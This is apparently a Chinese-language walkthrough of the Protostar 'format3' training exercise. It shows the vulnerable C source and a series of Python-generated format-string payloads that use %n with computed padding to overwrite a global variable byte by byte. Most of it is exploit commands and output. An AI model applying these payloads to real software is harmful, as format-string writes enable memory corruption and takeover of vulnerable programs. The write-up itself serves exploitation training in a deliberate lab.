AboutThis level advances fromformat2and shows how to write more than 1 or 2 bytes of memory to the p
.
About
.This level advances from format2 and shows how to write more than 1 or 2 bytes of memory to the process. This also teaches you to carefully control what data is being written to the process memory...This level is at /opt/protostar/bin/format3.Source code
...#include <stdlib.h>#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void printbuffer(char *string)
{
printf(string);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printbuffer(buffer);
if(target == 0x01025544) {
printf("you have modified the target :)/n");
} else {
printf("target is %08x :(/n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}..
..这题与上看上去是不是很像？具体看看有两个不同的地方：1、是printbuffer替换了printf；2、是target的值换为0x01025544..
..同理，按上一题的做法试试，修改%x的长度，结果是可以的，结果字符串太长，等到我都睡着了。。。....user@protostar:/opt/protostar/bin$ python -c 'print "/xf4/x96/x04/x08%232x%232x%3333x%x%x%x%x%x%x%x%16926279x%n"' | ./format3
<...>
bffff614
you have modified the target :)..
..很明显，这样的做法不是题目的本意。由于本人掌握知识有限，即使答案摆在眼前也搞不明白。。。直到，看了本书《***之道：漏洞发掘的艺术》才恍然大悟，如果有人看不懂解答的话也强烈推荐看看这本书！！..
..以下说明均以阅读过《***之道：漏洞发掘的艺术》相关章节为基础，至于原理性不做太多解释，有空再专门写一篇文章解释解释 。。。..
..这题的难点也就是通过%n来修改target的值，从上一题的解法可以掌握的是可以通过%nx来掌握不算大的长度，因此对0x01025544通过拆分来完成，具体做法如下：....user@protostar:/opt/protostar/bin$ python -c 'print "/xf4/x96/x04/x08/xf5/x96/x04/x08/xf6/x96/x04/x08"+"%x."*12' | ./format3
0.bffff5e0.b7fd7ff4.0.0.bffff7e8.804849d.bffff5e0.200.b7fd8420.bffff624.80496f4.
target is 00000000 :(
user@protostar:/opt/protostar/bin$ python -c 'print "/xf4/x96/x04/x08/xf5/x96/x04/x08/xf6/x96/x04/x08"+"%11$x%12$n"' | ./format3
bffff624
target is 00000014 :(
user@protostar:/opt/protostar/bin$ python -c 'print 0x44-(0x14-0x8)'
56
user@protostar:/opt/protostar/bin$ python -c 'print "/xf4/x96/x04/x08/xf5/x96/x04/x08/xf6/x96/x04/x08"+"%11$56x%12$n"' | ./format3
bffff624
target is 00000044 :(..
..瞧，现在已经得到低字节已经是44了，接下来按同一个思路往下做就是了。..
....user@protostar:/opt/protostar/bin$ python -c 'print 0x55-0x44'
17
user@protostar:/opt/protostar/bin$ python -c 'print "/xf4/x96/x04/x08/xf5/x96/x04/x08/xf6/x96/x04/x08"+"%11$56x%12$n"+"%12$17x%13$n"' | ./format3
bffff624 80496f4
target is 00005544 :(
user@protostar:/opt/protostar/bin$ python -c 'print 0x102-0x55'
173
user@protostar:/opt/protostar/bin$ python -c 'print "/xf4/x96/x04/x08/xf5/x96/x04/x08/xf6/x96/x04/x08"+"%11$56x%12$n"+"%12$17x%13$n"+"%13$173x%14$n"' | ./format3
bffff624 80496f4 80496f5
you have modified the target :)..
..
..
